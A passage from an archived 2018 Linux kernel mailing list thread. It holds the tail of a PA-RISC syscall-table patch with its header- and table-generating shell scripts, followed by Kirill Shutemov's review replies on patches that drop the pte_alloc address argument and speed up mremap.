> +297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
> +298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
> +299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
> +300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
> +301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
> +302     common  signalfd                        sys_signalfd                    compat_sys_signalfd
> +# 303 was timerfd
> +304     common  eventfd                         sys_eventfd
> +305     32      fallocate                       parisc_fallocate
> +305     64      fallocate                       sys_fallocate
> +306     common  timerfd_create                  sys_timerfd_create
> +307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
> +308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
> +309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
> +310     common  eventfd2                        sys_eventfd2
> +311     common  epoll_create1                   sys_epoll_create1
> +312     common  dup3                            sys_dup3
> +313     common  pipe2                           sys_pipe2
> +314     common  inotify_init1                   sys_inotify_init1
> +315     common  preadv                          sys_preadv                      compat_sys_preadv
> +316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
> +317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
> +318     common  perf_event_open                 sys_perf_event_open
> +319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
> +320     common  accept4                         sys_accept4
> +321     common  prlimit64                       sys_prlimit64
> +322     common  fanotify_init                   sys_fanotify_init
> +323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
> +324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
> +325     common  name_to_handle_at               sys_name_to_handle_at
> +326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
> +327     common  syncfs                          sys_syncfs
> +328     common  setns                           sys_setns
> +329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
> +330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
> +331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
> +332     common  kcmp                            sys_kcmp
> +333     common  finit_module                    sys_finit_module
> +334     common  sched_setattr                   sys_sched_setattr
> +335     common  sched_getattr                   sys_sched_getattr
> +336     common  utimes                          sys_utimes                      compat_sys_utimes
> +337     common  renameat2                       sys_renameat2
> +338     common  seccomp                         sys_seccomp
> +339     common  getrandom                       sys_getrandom
> +340     common  memfd_create                    sys_memfd_create
> +341     common  bpf                             sys_bpf
> +342     common  execveat                        sys_execveat                    compat_sys_execveat
> +343     common  membarrier                      sys_membarrier
> +344     common  userfaultfd                     sys_userfaultfd
> +345     common  mlock2                          sys_mlock2
> +346     common  copy_file_range                 sys_copy_file_range
> +347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> +349     common  statx                           sys_statx
> +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> \ No newline at end of file
> diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
> new file mode 100644
> index 0000000..607d4ca
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> @@ -0,0 +1,35 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0
> +
> +in="$1"
> +out="$2"
> +my_abis=`echo "($3)" | tr ',' '|'`
> +prefix="$4"
> +offset="$5"
> +
> +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> +    echo "#ifndef ${fileguard}"
> +    echo "#define ${fileguard}"
> +    echo ""
> +
> +    nxt=0
> +    while read nr abi name entry compat ; do
> +       if [ -z "$offset" ]; then
> +           echo -e "#define __NR_${prefix}${name}\t$nr"
> +       else
> +           echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
> +       fi
> +       nxt=$nr
> +       let nxt=nxt+1
> +    done
> +
> +    echo ""
> +    echo "#ifdef __KERNEL__"
> +    echo -e "#define __NR_syscalls\t$nxt"
> +    echo "#endif"
> +    echo ""
> +    echo "#endif /* ${fileguard} */"
> +) > "$out"
> diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
> new file mode 100644
> index 0000000..04abde7
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
> @@ -0,0 +1,46 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0
> +
> +in="$1"
> +out="$2"
> +my_abis=`echo "($3)" | tr ',' '|'`
> +offset="$4"
> +
> +emit() {
> +    nxt="$1"
> +    if [ -z "$offset" ]; then
> +       nr="$2"
> +    else
> +       nr="$2"
> +       nr=$((nr+offset))
> +    fi
> +    entry="$3"
> +
> +    while [ $nxt -lt $nr ]; do
> +       echo "__SYSCALL($nxt, sys_ni_syscall, )"
> +        let nxt=nxt+1
> +    done
> +    echo "__SYSCALL($nxt, $entry, )"
> +}
> +
> +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> +    if [ -z "$offset" ]; then
> +       nxt=0
> +    else
> +       nxt=$offset
> +    fi
> +
> +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"
> +    while read nr abi name entry compat ; do
> +       if [ $my_abi = "compat" ]; then
> +           if [ -z "$compat" ]; then
> +               emit $nxt $nr $entry
> +           else
> +               emit $nxt $nr $compat
> +           fi
> +       else
> +           emit $nxt $nr $entry
> +       fi
> +        let nxt=nxt+1
> +    done
> +) > "$out"

Appreciate if someone can review this script!

Firoz

> --
> 1.9.1
>


From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 14:09:06 +0300
Lines: 67
Approved: news@gmane.org
Message-ID: <20181012110906.fpfttp4nhvsr2ps7@kshutemo-mobl1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539342473 4299 195.159.176.226 (12 Oct 2018 11:07:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 11:07:53 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 13:07:44 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gAvIE-0000rv-Ph
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 13:07:43 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=ljdtykZTpGPKpHYDunRR4vVQMqB/nCpn3mQXIGAdvbs=; b=mW6g2LThnMBKSz
	7k6M5EuTBmDfUhpFyqsE/n0wbpieG/KKeV2X4i6ek9AHSRiXlYMBsFT/0M2yii7/68e+xDrJKq5nZ
	t4Pu3jfT55nel/mCzv18OTbTGt5haHYC+U/BdWuXxr205RRCtzPvklX43hfPTlfyoZeVlKlsapRTC
	zh4heKXLhBGYMMMlQLle17PPVDXPnP4TyQmnWm4AAMNE5c1Lc3Nr9ZvVj2Fh8nAsAKzmAPU1Sg0FF
	EcDVrK7OAea5+aV7zzy02HDyKvrEWnNX7ytrJSgPjAFQvYbjZtIPHC/PK7JlKjSgyR2niSlyFnriD
	CPFpFZuzklVJw8RgL/1A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAvKG-0007Re-UY; Fri, 12 Oct 2018 11:09:48 +0000
Original-Received: from mail-pf1-x443.google.com ([2607:f8b0:4864:20::443])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAvJs-0007Aw-3S
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 11:09:45 +0000
Original-Received: by mail-pf1-x443.google.com with SMTP id p24-v6so6023278pff.10
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 04:09:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=RX5FjI3wwkptc5sfX4+NkcctA+fCkcVF8HC/oTZQueA=;
 b=qeudmJU6+nqktNq8hagWevdDYJTTFMn+WENyVU02czllfS+fQup8X2aAcQtu2Lo0Fp
 dhBWK+IUAJCVJxMgLR2Q+5FdwzcoZDri19DNWDDMDN459vxsWd4gd90pvEzqmj7i/Fk+
 4GmiBbPPBQxYkEOU63G/QIHHt6iTrlm7BZWRGLnI42WPtnHHGUwiFQgxxz6a5lmwlVkh
 RLNcciTpu4deyuzzSogUrxoQpB41XxnBfDW3RTICetpaoKpeC37wL/mNktpm48Nj7dgI
 Xa/aCwwYycAOdNSNZVdcW5B/PKAoIddEyh93084VotBhdiNKJBPYH3SrKS+IeMKOkimb
 sY+A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=RX5FjI3wwkptc5sfX4+NkcctA+fCkcVF8HC/oTZQueA=;
 b=JUGF0ZZ+jmPHoQw+dc3C6n9X/8GoiE+8hfASxQsbGKdrcQIQfWSB6aUVixaU+fDsob
 1hqWAquO18+eyiKNlvwCWSBIGde7HyI+SRLB/+qicdT9CLAqX5rU9M6V90F9WTKRvkcC
 o+1IMlsXTj5uOe2bcVOTknWsfnJDONtB0ANk7ckrYbWGVXd4cVfQpX/QRanhvKMa4w3K
 mTGazt1PosKPlNXifDtkbzMueyHRHpeo5WlaWz4c2umcYwtWm3btPuQv1Tky3TEz/sxA
 g6sbsIKqWBg5ScRhRH87P4Dv+51pXJzKqutAJIddbEVZpKp8uuAxsuwSuPs3giCXb4Zf
 c2QQ==
X-Gm-Message-State: ABuFfojCJg9IXYSYcRQC6gKk5+utgpQoOs2wQAacP4FbYCJkVIjeGUMk
 u+GBxFtxs/boFAiJfm8rDaCFdQ==
X-Google-Smtp-Source: ACcGV62AMJmSqYHUXksz43gsqwXiRDEZmpQoYbBa2QiJukAYc0ejyNX8clN1YjM/qERtSA9meBw2Jg==
X-Received: by 2002:a63:2356:: with SMTP id
 u22-v6mr5097385pgm.122.1539342552151; 
 Fri, 12 Oct 2018 04:09:12 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([192.55.54.42])
 by smtp.gmail.com with ESMTPSA id r18-v6sm1479496pgj.51.2018.10.12.04.09.10
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 04:09:10 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id B9B73300030; Fri, 12 Oct 2018 14:09:06 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181012013756.11285-1-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_040924_273152_DA8CCB6A 
X-CRM114-Status: GOOD (  12.97  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:443 listed in] [list.dnswl.org]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1034 gmane.linux.ports.mips.general:67031 gmane.linux.ports.ia64:29367 gmane.linux.ports.sh.devel:57616 gmane.linux.kernel.mm:205125 gmane.linux.ports.sparc:28537 gmane.linux.ports.hexagon:1891 gmane.comp.emulators.kvm.arm.devel:19394 gmane.linux.kernel.arc:4516 gmane.linux.ports.arm.kernel:679290 gmane.linux.ports.parisc:29138 gmane.linux.kernel:2897497 gmane.linux.ports.alpha:5292 gmane.linux.ports.ppc64.devel:164134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1034>

On Thu, Oct 11, 2018 at 06:37:55PM -0700, Joel Fernandes (Google) wrote:
> diff --git a/arch/m68k/include/asm/mcf_pgalloc.h b/arch/m68k/include/asm/mcf_pgalloc.h
> index 12fe700632f4..4399d712f6db 100644
> --- a/arch/m68k/include/asm/mcf_pgalloc.h
> +++ b/arch/m68k/include/asm/mcf_pgalloc.h
> @@ -12,8 +12,7 @@ extern inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
>  
>  extern const char bad_pmd_string[];
>  
> -extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -	unsigned long address)
> +extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>  {
>  	unsigned long page = __get_free_page(GFP_DMA);
>  
> @@ -32,8 +31,6 @@ extern inline pmd_t *pmd_alloc_kernel(pgd_t *pgd, unsigned long address)
>  #define pmd_alloc_one_fast(mm, address) ({ BUG(); ((pmd_t *)1); })
>  #define pmd_alloc_one(mm, address)      ({ BUG(); ((pmd_t *)2); })
>  
> -#define pte_alloc_one_fast(mm, addr) pte_alloc_one(mm, addr)
> -

I believe this was one done manually, right?
Please explicitely state everthing you did on not of sematic patch

...

> diff --git a/arch/microblaze/include/asm/pgalloc.h b/arch/microblaze/include/asm/pgalloc.h
> index 7c89390c0c13..f4cc9ffc449e 100644
> --- a/arch/microblaze/include/asm/pgalloc.h
> +++ b/arch/microblaze/include/asm/pgalloc.h
> @@ -108,10 +108,9 @@ static inline void free_pgd_slow(pgd_t *pgd)
>  #define pmd_alloc_one_fast(mm, address)	({ BUG(); ((pmd_t *)1); })
>  #define pmd_alloc_one(mm, address)	({ BUG(); ((pmd_t *)2); })
>  
> -extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
> +extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
>  
> -static inline struct page *pte_alloc_one(struct mm_struct *mm,
> -		unsigned long address)
> +static inline struct page *pte_alloc_one(struct mm_struct *mm)
>  {
>  	struct page *ptepage;
>  
> @@ -132,20 +131,6 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
>  	return ptepage;
>  }
>  
> -static inline pte_t *pte_alloc_one_fast(struct mm_struct *mm,
> -		unsigned long address)
> -{
> -	unsigned long *ret;
> -
> -	ret = pte_quicklist;
> -	if (ret != NULL) {
> -		pte_quicklist = (unsigned long *)(*ret);
> -		ret[0] = 0;
> -		pgtable_cache_size--;
> -	}
> -	return (pte_t *)ret;
> -}
> -

Ditto.

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:42:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 14:30:56 +0300
Lines: 48
Approved: news@gmane.org
Message-ID: <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539343757 1251 195.159.176.226 (12 Oct 2018 11:29:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 11:29:17 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 13:29:08 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAvcx-00007J-On
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 13:29:07 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=AYreNlg4cFx4TBSOkjTzHjam6YHgTWreaKJGdxBUVnk=; b=BmQnJSxI9jkdPf
	fLnbxGW7GjGvYRnBM21yKYXx3JKwdFCIOo8vtBqT8kpkXg6/pJbBEyGqc8L1OMwdSuoEBBe+X7uDQ
	4uDVBteytWrHVubn39YzjgX2P0p1Wglju+46Djk8OV+nKTC2RJTykB4/b12uw/OHdr55vstrn0yrr
	RpuHLrpcGM9dMeon/99NWw47ZM7LfjBp2Q1BO2DGKuW08KNi6aN12KSJTSpAs9ojZKr15Wq9iG346
	KssekHcMLUcs197BD0kvCq3wvD15k+e6qx8tbX5s0Ne1H/09ttm62a9Bbz6nHeUtoJ1lHagvD71pV
	4HArothsa9YwHlxactbw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAvf3-0007wE-Ko; Fri, 12 Oct 2018 11:31:17 +0000
Original-Received: from mail-pf1-x444.google.com ([2607:f8b0:4864:20::444])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAvez-0007tO-Un
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 11:31:15 +0000
Original-Received: by mail-pf1-x444.google.com with SMTP id j23-v6so6056982pfi.4
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 04:31:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=l7AhKnmfvmp8KBJvG0N/KXKa/mMdyWfz5lA4HnS7BL8=;
 b=g54sfYi+w0crnYiSByxg5Nkl3eGqhJ6PN3wZFl+ctMzP2ovV+r5fma35R0NtLVm7f4
 n5dBPdHh/h+S00ymRa9yXbYyWCDNbz5qTo9fbzEBNajxgbVXHatOXKhWE2ymaeXn4b5+
 3y3wh4nrJJVcwBsKyp1ZdwGny9fgiF2ZGJoiLdnlO2hbOpRXU/jsB85IrZoJ+NpUk4uq
 jaOW+U4M0qLfRnRGAkxWtj5pjU2u4VJgE+Mmaw1D6h2dqW+o9dFjgqSLLoVlGTHQkemb
 O2qFRHSU7x5ebQd3d+IhwBYfRwpZqwIx0EmzYxOFIjiVnHWgdZ7DEtkH2GtuE3Iit1L9
 iriw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=l7AhKnmfvmp8KBJvG0N/KXKa/mMdyWfz5lA4HnS7BL8=;
 b=f05k9xkZCZxTvexF2fs1ysqI4Kv/cCGE9XDL2QaA3lk8C2Qpw2YU6q5Kurok4Ft2/x
 Cw/1sHPIoxNrZpr3Gd552B/vQlFl6L9DRuY109IMZkVhYyClULeALquKlvyg+1wFLE3r
 szKuJov4N0xBgT48FPJbg0kq0Ea4jEqHwQ+h50lU0xgf+5lz7hdEChkB41KAbhu0If2V
 +Fs53mPtHaeaenri/Yligk2h5iAXcTQteQ+jZ3bk2gaamLVxd/O3H/1Nldyhbj3BYa+z
 B5rtdHiDo+dvmptHWUmcxoCGfml3uac+iwMPKFImqtkK/5Q49eCOI9bNIkd9g00ym1Q/
 M31g==
X-Gm-Message-State: ABuFfoimUvAqC4/vTIq7huOH6CVbIMC73xQuKZvpWRLMEohWFqMYku+i
 +pxfryhUb1cBjWE6Ly71L8AbiA==
X-Google-Smtp-Source: ACcGV62lBfke4Nd6rzFvvGEYe+NYu7uJH2YfYRGmsZVhWDnzIbZPXUe0wUiVZh6jfZwYAfZZwYDRWA==
X-Received: by 2002:a63:194a:: with SMTP id
 10-v6mr5233013pgz.192.1539343861937; 
 Fri, 12 Oct 2018 04:31:01 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([192.55.54.42])
 by smtp.gmail.com with ESMTPSA id o12-v6sm1985263pfh.20.2018.10.12.04.30.59
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 04:31:00 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id 6FFFA300030; Fri, 12 Oct 2018 14:30:56 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181012013756.11285-2-joel@joelfernandes.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_043114_048278_1B956F22 
X-CRM114-Status: GOOD (  16.97  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:444 listed in] [list.dnswl.org]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4517 gmane.linux.ports.mips.general:67032 gmane.linux.ports.ia64:29368 gmane.linux.ports.sh.devel:57617 gmane.linux.kernel.mm:205128 gmane.linux.ports.sparc:28538 gmane.linux.ports.riscv:1036 gmane.linux.ports.hexagon:1892 gmane.comp.emulators.kvm.arm.devel:19396 gmane.linux.ports.arm.kernel:679293 gmane.linux.ports.parisc:29139 gmane.linux.kernel:2897518 gmane.linux.ports.alpha:5293 gmane.linux.ports.ppc64.devel:164136
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4517>

On Thu, Oct 11, 2018 at 06:37:56PM -0700, Joel Fernandes (Google) wrote:
> Android needs to mremap large regions of memory during memory management
> related operations. The mremap system call can be really slow if THP is
> not enabled. The bottleneck is move_page_tables, which is copying each
> pte at a time, and can be really slow across a large map. Turning on THP
> may not be a viable option, and is not for us. This patch speeds up the
> performance for non-THP system by copying at the PMD level when possible.
> 
> The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> completion times drops from 160-250 millesconds to 380-400 microseconds.
> 
